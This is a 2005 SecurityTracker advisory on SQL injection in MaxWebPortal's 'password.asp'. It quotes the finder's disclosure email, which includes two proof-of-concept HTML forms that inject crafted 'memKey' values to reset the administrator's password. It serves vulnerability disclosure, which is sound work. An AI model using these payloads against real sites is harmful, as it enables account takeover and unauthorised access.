MaxWebPortal Input Validation Hole in 'password.asp' Permits SQL Injection
|
|
SecurityTracker Alert ID: 1014048
|
|
SecurityTracker URL: http://securitytracker.com/id?1014048
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: May 25 2005
|
Impact: Disclosure of system information, Disclosure of user information, Modification of authentication information, Modification of user information, User access via network
|
Exploit Included: Yes
|
Version(s): 1.35, 1.36, 2.0, 20050418 Next
|
Description: Soroush Dalili from Grayhatz Security Group reported an input validation vulnerability in MaxWebPortal in the 'password.asp' script. A remote user can inject SQL commands.
The 'password.asp' script does not properly validate user-supplied data in the 'memKey' parameter. A remote user can supply a specially
crafted parameter value to execute SQL commands on the underlying database.
This can be exploited, for example, to change a target
user's password, including the administrative user's password.
|
Impact: A remote user can execute SQL commands on the underlying database.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.maxwebportal.com/ (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Windows (Any)
|
Reported By: s d <irsdl@yahoo.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Tue, 24 May 2005 22:34:36 -0700 (PDT)
From: s d <irsdl@yahoo.com>
Subject: Critical SQL Injction in Maxwebportal
|
Title: sql injection in "password.asp" in maxwebportal : remote user can change others
password also can change admin password.
Program name: Maxwbportal
Developers Site: Maxwebportal.com, MWPX.com, Maxwebportal.info
Soloution: Update products
Versions: 1.35, 1.36, 2.0, 20050418 Next
(Maxwebportal is a free public asp portal.)
Hi, I'm Soroush Dalili from Grayhatz Security Group (GSG) . I found dangerous sql
injection in Maxwebportal version 1.35,1.36,2.0, 20050418 Next
Remote user can inject his/her code in "memKey" var. and change other users password in
"password.asp".
File: password.asp
Exploit codes to proof:
Version 1.35 and older:
-----------------Code Start-----Version 1.35 and older--------------
<form action="http://[URL]/password.asp?mode=reset" method="post">
<br>
pass1: <input name="pass" type="text" value="123456" size="150">< br>
pass2: <input name="pass2" type="text" value="123456" size="150">< br>
Id: <input name="memId" type="text" value="-1" size="150">< br>
Member Key: <input name="memKey" type="text" value="foo' or M_Name='admin" size="150">
<br>
<input name="Submit" type="submit" value="Submit">
</form>
-----------------End-------------------
Version 1.36, 2.0, 20050418 Next:
-----------------Code Start-----Version 1.36, 2.0, 20050418 Next--------------
<form action="http://[URL]/password.asp?mode=reset" method="post">
<br>
pass1: <input name="pass" type="text" value="123456" size="150">< br>
pass2: <input name="pass2" type="text" value="123456" size="150">< br>
Id: <input name="memId" type="text" value="-1" size="150">< br>
Member Key: <input name="memKey" type="text" value="foo') or M_Name='admi n' or ('1'='2" size="150">
<br>
<input name="Submit" type="submit" value="Submit">
</form>
-----------------End-------------------
Finder name: Soroush Dalili
Team: Grayhatz Security Group (GSG)
Email: Irsdl@yahoo.com
Web site: Grayhatz.net
---------------------------------
Do You Yahoo!?
Yahoo! Small Business - Try our new Resources site!
|
|